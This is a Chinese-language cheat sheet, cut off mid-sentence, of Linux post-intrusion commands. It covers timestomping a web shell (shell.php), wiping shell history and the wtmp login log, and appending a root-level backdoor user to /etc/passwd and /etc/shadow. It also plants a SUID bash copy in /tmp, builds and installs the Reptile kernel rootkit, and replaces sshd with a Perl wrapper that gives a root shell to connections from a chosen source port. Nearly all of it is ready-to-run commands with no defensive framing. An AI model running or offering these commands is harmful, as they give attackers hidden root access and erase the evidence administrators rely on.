修改属性
文件时间
touch -r index.php shell.php
touch -t 202010101010 shell.php
#touch --help
历史操作命令
histroy -r #删除当前会话历史记录
history -c #删除内存中的所有命令历史
rm .bash_history #删除历史文件中的内容
sed -i '150,$d' .bash_history#只保留前150行
set +o history#针对你的工作关闭历史记录
set -o history#恢复
echo > /var/log/wtmp#删除last命令记录
添加用户
perl -le 'print crypt("momaek","salt")'#输出savbSWc4rx8NY
echo "momaek:savbSWc4rx8NY:hacker:/root:/bin/bash" >> /etc/passwd
echo "momaek:savbSWc4rx8NY:-1:-1:-1:-1:-1:-1:500" >> /etc/shadow#普通账户
useradd guest;echo 'guest:123456'|chpasswd
suid
cp /bin/bash /tmp/.woot
chmod 4755 /tmp/.woot
#普通用户执行
/tmp/.woot -p
find /tmp -perm -u=s -type f 2>/dev/null#查找suid权限文件
LKM Linux rootkit后门
https://github.com/f0rb1dd3n/Reptile
apt install build-essential libncurses-dev
apt install linux-headers-$(uname -r)#linux-headers-5.10.0-kali9-amd64
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
make menuconfig # or 'make config' or even 'make defconfig'
make
make install
kali2021无法编译 待解决
ssh后门
SSH wrapper
判断源端口 重定向到/bin/sh中
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd //4A是13377的小端模式
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
这里设计到perl的语法,exec PROGRAM LIST
具体可以参考
https://perldoc.perl.org/functions/exec
意思就是使用/usr/bin/s